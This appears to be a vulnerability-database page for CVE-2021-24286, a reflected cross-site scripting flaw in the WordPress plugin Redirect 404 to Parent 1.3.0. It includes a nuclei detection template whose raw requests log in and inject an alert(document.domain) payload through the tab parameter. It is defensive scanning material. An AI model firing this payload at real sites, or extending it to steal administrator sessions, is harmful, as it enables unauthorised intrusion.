HexBrain

Browse / CVEs / CVE-2021-24286

CVE-2021-24286· mooveagency / redirect 404 to parent· CWE-79

WordPress Plugin Redirect 404 to Parent 1.3.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
12.7%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

The settings page of the plugin did not properly sanitise the tab parameter before outputting it back, leading to a reflected Cross-Site Scripting issue.

Impact

Attackers can inject malicious JavaScript via reflected XSS in the settings page, potentially stealing administrator session cookies or performing administrative actions.

Fix

Fixed in version 1.3.1

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/options-general.php?page=moove-redirect-settings&tab=%22+style%3Danimation-name%3Arotation+onanimationstart%3D%22alert%28document.domain%29%3B
Positive when: contains(content_type_2, "text/html") and contains(body_2, "alert%28document.domain%29") && contains(body_2, "Moove redirect 404") and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2021-24286 -u <target>

The full check
id: CVE-2021-24286

info:
  name: WordPress Plugin Redirect 404 to Parent 1.3.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The settings page of the plugin did not properly sanitise the tab parameter before outputting it back, leading to a reflected Cross-Site Scripting issue.
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in the settings page, potentially stealing administrator session cookies or performing administrative actions.
  remediation: Fixed in version 1.3.1
  reference:
    - https://wpscan.com/vulnerability/b9a535f3-cb0b-46fe-b345-da3462584e27
    - https://www.exploit-db.com/exploits/50350
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24286
    - https://wordpress.org/plugins/redirect-404-to-parent/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24286
    cwe-id: CWE-79
    epss-score: 0.12662
    epss-percentile: 0.96288
    cpe: cpe:2.3:a:mooveagency:redirect_404_to_parent:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: mooveagency
    product: redirect_404_to_parent
    framework: wordpress
  tags: cve2021,cve,xss,wordpress,wpscan,authenticated,exploitdb,wp-plugin,mooveagency,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=moove-redirect-settings&tab=%22+style%3Danimation-name%3Arotation+onanimationstart%3D%22alert%28document.domain%29%3B HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "alert%28document.domain%29") && contains(body_2, "Moove redirect 404")'
          - 'status_code_2 == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from